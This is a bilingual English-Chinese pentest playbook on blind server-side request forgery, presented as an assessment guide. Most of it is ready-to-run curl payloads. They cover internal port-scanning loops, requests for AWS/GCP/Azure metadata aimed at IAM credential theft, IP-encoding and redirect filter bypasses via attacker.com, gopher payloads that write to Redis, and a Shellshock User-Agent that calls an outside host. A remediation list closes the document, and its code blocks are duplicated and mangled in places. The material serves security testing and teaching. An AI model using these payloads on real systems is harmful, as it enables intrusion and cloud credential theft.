performing-blind-ssrf-exploitation
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChinesePerforming Blind SSRF Exploitation
盲态SSRF漏洞利用实操
When to Use
适用场景
- When testing URL/webhook input parameters where server-side responses are not reflected
- During assessment of applications that fetch external resources (avatars, previews, imports)
- When testing PDF generators, image processors, or document converters for SSRF
- During cloud security assessments to detect metadata endpoint access
- When evaluating webhook functionality and URL validation implementations
- 测试服务器端响应不回显的URL/webhook输入参数时
- 评估获取外部资源(头像、预览、导入)的应用程序时
- 测试PDF生成器、图片处理器或文档转换器是否存在SSRF时
- 云安全评估中检测元数据端点访问情况时
- 评估webhook功能与URL验证实现逻辑时
Prerequisites
前置条件
- Burp Suite Professional with Burp Collaborator for OOB detection
- interact.sh or webhook.site for external callback monitoring
- Understanding of SSRF attack vectors and internal network enumeration
- Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
- VPS or controlled server for advanced exploitation callback handling
- Python with requests library for automation scripts
- 带有Burp Collaborator的Burp Suite Professional,用于带外(OOB)检测
- interact.sh或webhook.site,用于外部回调监控
- 了解SSRF攻击向量与内网枚举方法
- 熟悉云元数据端点(AWS、GCP、Azure)
- 用于高级利用回调处理的VPS或受控服务器
- 安装requests库的Python环境,用于编写自动化脚本
Workflow
操作流程
Step 1 — Identify Blind SSRF Input Points
步骤1 — 识别盲态SSRF输入点
bash
undefinedbash
undefinedCommon SSRF-susceptible parameters:
易受SSRF影响的常见参数:
url=, uri=, path=, dest=, redirect=, src=, source=
url=, uri=, path=, dest=, redirect=, src=, source=
link=, imageURL=, callback=, webhook=, feed=, import=
link=, imageURL=, callback=, webhook=, feed=, import=
Test URL fetch functionality
测试URL获取功能
curl -X POST http://target.com/api/fetch-url
-H "Content-Type: application/json"
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
-H "Content-Type: application/json"
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
curl -X POST http://target.com/api/fetch-url
-H "Content-Type: application/json"
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
-H "Content-Type: application/json"
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
Test webhook configuration
测试webhook配置
curl -X POST http://target.com/api/webhooks
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
curl -X POST http://target.com/api/webhooks
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
Test image/avatar URL
测试图片/头像URL
curl -X POST http://target.com/api/profile/avatar
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
curl -X POST http://target.com/api/profile/avatar
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
-H "Authorization: Bearer TOKEN"
-H "Content-Type: application/json"
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
Test document import
测试文档导入
curl -X POST http://target.com/api/import
-H "Content-Type: application/json"
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
-H "Content-Type: application/json"
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
undefinedcurl -X POST http://target.com/api/import
-H "Content-Type: application/json"
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
-H "Content-Type: application/json"
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
undefinedStep 2 — Confirm Blind SSRF with Out-of-Band Detection
步骤2 — 通过带外检测确认盲态SSRF
bash
undefinedbash
undefinedUse Burp Collaborator for DNS + HTTP callbacks
使用Burp Collaborator进行DNS + HTTP回调
Generate collaborator payload: xxxxxx.oastify.com
生成collaborator载荷: xxxxxx.oastify.com
DNS-based detection (works even with HTTP blocked)
基于DNS的检测(即使HTTP被阻断也能生效)
curl -X POST http://target.com/api/fetch
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
Check Collaborator for DNS lookups
在Collaborator中查看DNS查询记录
HTTP-based detection
基于HTTP的检测
Check for HTTP requests in Collaborator
在Collaborator中查看HTTP请求记录
interact.sh alternative
interact.sh替代方案
Monitor interact.sh dashboard for interactions
在interact.sh控制台监控交互记录
undefinedundefinedStep 3 — Enumerate Internal Network
步骤3 — 枚举内网
bash
undefinedbash
undefinedScan internal IP ranges via blind SSRF
通过盲态SSRF扫描内网IP范围
Use timing differences to determine if hosts are alive
利用响应时间差异判断主机是否存活
Scan common internal ranges
扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{"url": "http://$ip/"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{"url": "http://$ip/"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
Port scanning via blind SSRF
通过盲态SSRF进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch
-d "{"url": "http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n" echo "Port $port tested" done
-d "{"url": "http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n" echo "Port $port tested" done
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch
-d "{"url": "http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n" echo "Port $port tested" done
-d "{"url": "http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n" echo "Port $port tested" done
Use gopher:// for more advanced internal service interaction
使用gopher://协议与内部服务进行高级交互
curl -X POST http://target.com/api/fetch
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
undefinedcurl -X POST http://target.com/api/fetch
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
undefinedStep 4 — Access Cloud Metadata Endpoints
步骤4 — 访问云元数据端点
bash
undefinedbash
undefinedAWS metadata (IMDSv1)
AWS元数据(IMDSv1)
AWS IAM credentials
AWS IAM凭证
curl -X POST http://target.com/api/fetch
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
GCP metadata
GCP元数据
curl -X POST http://target.com/api/fetch
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
Azure metadata
Azure元数据
curl -X POST http://target.com/api/fetch
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
DNS rebinding for metadata access (bypass IP blocking)
利用DNS重绑定访问元数据(绕过IP拦截)
Use services like rebinder.net to create DNS rebinding domains
使用rebinder.net等服务创建DNS重绑定域名
curl -X POST http://target.com/api/fetch
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
undefinedcurl -X POST http://target.com/api/fetch
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
undefinedStep 5 — Bypass SSRF Filters
步骤5 — 绕过SSRF过滤
bash
undefinedbash
undefinedIP representation bypass
IP表示法绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # 简化写法
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
URL parsing confusion
URL解析混淆绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
Redirect-based bypass
基于重定向的绕过
curl -X POST http://target.com/api/fetch
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
DNS rebinding
DNS重绑定绕过
undefinedundefinedStep 6 — Escalate Blind SSRF to Data Exfiltration
步骤6 — 将盲态SSRF升级为数据泄露
bash
undefinedbash
undefinedExfiltrate data via DNS (when only DNS callback works)
通过DNS泄露数据(仅DNS回调可用时)
If you achieve SSRF to a service that reflects data:
如果SSRF可访问回显数据的内部服务:
Chain: SSRF -> internal service -> DNS exfiltration
链式利用: SSRF -> 内部服务 -> DNS数据泄露
Use gopher protocol for Redis command execution
使用gopher协议执行Redis命令
curl -X POST http://target.com/api/fetch
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
curl -X POST http://target.com/api/fetch
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
Chain blind SSRF with Shellshock on internal hosts
将盲态SSRF与内网主机的Shellshock漏洞链式利用
With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
需设置User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
Exploit internal services via SSRF
通过SSRF利用内部服务
Redis: write SSH key
Redis: 写入SSH密钥
Memcached: inject serialized objects
Memcached: 注入序列化对象
Elasticsearch: read indices
Elasticsearch: 读取索引
Internal API: access authenticated endpoints
内部API: 访问已认证端点
undefinedundefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Blind SSRF | Server makes request but response is not visible to attacker |
| Out-of-Band Detection | Using external callbacks (DNS, HTTP) to confirm SSRF execution |
| DNS Rebinding | Technique to bypass IP-based SSRF filters by changing DNS resolution |
| Cloud Metadata | Instance metadata endpoints accessible via SSRF for credential theft |
| Gopher Protocol | Protocol allowing crafted payloads to interact with internal TCP services |
| Time-Based Detection | Detecting SSRF success by measuring response time differences |
| SSRF Chain | Combining SSRF with other vulnerabilities for greater impact |
| 概念 | 描述 |
|---|---|
| Blind SSRF | 服务器发起请求,但攻击者无法看到响应 |
| Out-of-Band Detection | 使用外部回调(DNS、HTTP)确认SSRF执行 |
| DNS Rebinding | 通过更改DNS解析绕过基于IP的SSRF过滤的技术 |
| Cloud Metadata | 可通过SSRF访问的实例元数据端点,用于窃取凭证 |
| Gopher Protocol | 允许构造载荷与内部TCP服务交互的协议 |
| Time-Based Detection | 通过测量响应时间差异检测SSRF是否成功 |
| SSRF Chain | 将SSRF与其他漏洞结合以扩大影响范围 |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| Burp Collaborator | Out-of-band interaction server for DNS and HTTP callback detection |
| interact.sh | Open-source OOB interaction tool by ProjectDiscovery |
| SSRFmap | Automated SSRF detection and exploitation framework |
| Gopherus | Generate gopher payloads for exploiting internal services via SSRF |
| webhook.site | Free webhook receiver for testing SSRF callbacks |
| rebinder.net | DNS rebinding service for bypassing SSRF IP filters |
| 工具 | 用途 |
|---|---|
| Burp Collaborator | 用于DNS和HTTP回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery开发的开源带外交互工具 |
| SSRFmap | 自动化SSRF检测与利用框架 |
| Gopherus | 生成用于通过SSRF利用内部服务的gopher载荷 |
| webhook.site | 用于测试SSRF回调的免费webhook接收器 |
| rebinder.net | 用于绕过SSRF IP过滤的DNS重绑定服务 |
Common Scenarios
常见应用场景
- Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
- Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
- Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
- Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
- PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents
- 云凭证窃取 — 利用盲态SSRF访问AWS/GCP/Azure元数据端点,窃取IAM凭证以攻陷云账户
- 内部服务发现 — 使用基于时序的盲态SSRF枚举内网主机与开放端口
- Redis利用 — 将盲态SSRF与gopher://协议结合,执行内网Redis实例命令
- Webhook滥用 — 利用webhook URL字段扫描内网并通过带外通道泄露数据
- PDF生成器SSRF — 向内网URL注入PDF生成功能,在渲染文档中泄露内部内容
Output Format
输出格式
undefinedundefinedBlind SSRF Assessment Report
盲态SSRF评估报告
- Target: http://target.com/api/fetch-url
- Detection Method: Burp Collaborator DNS + HTTP callback
- Internal Access Confirmed: Yes
- 目标: http://target.com/api/fetch-url
- 检测方法: Burp Collaborator DNS + HTTP回调
- 已确认内网访问: 是
Findings
检测结果
| # | Input Point | Payload | Detection | Impact |
|---|---|---|---|---|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |
| 序号 | 输入点 | 载荷 | 检测方式 | 影响 |
|---|---|---|---|---|
| 1 | POST /api/fetch url参数 | http://collaborator | HTTP回调 | 确认存在SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序分析(2.3s vs 0.1s) | 可访问云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | 确认Redis写入 | 存在远程代码执行潜在风险 |
Internal Network Map
内网映射
| Host | Port | Service | Accessible |
|---|---|---|---|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |
| 主机 | 端口 | 服务 | 是否可访问 |
|---|---|---|---|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS元数据 | 是 |
Remediation
修复建议
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers
undefined- 为URL获取功能实现允许访问的外部域名白名单
- 阻止对私有IP段与云元数据端点的请求
- 为AWS实例元数据启用IMDSv2(需令牌验证)
- 禁用未使用的URL协议(gopher、file、dict)
- 为应用服务器实现网络级分段隔离
undefined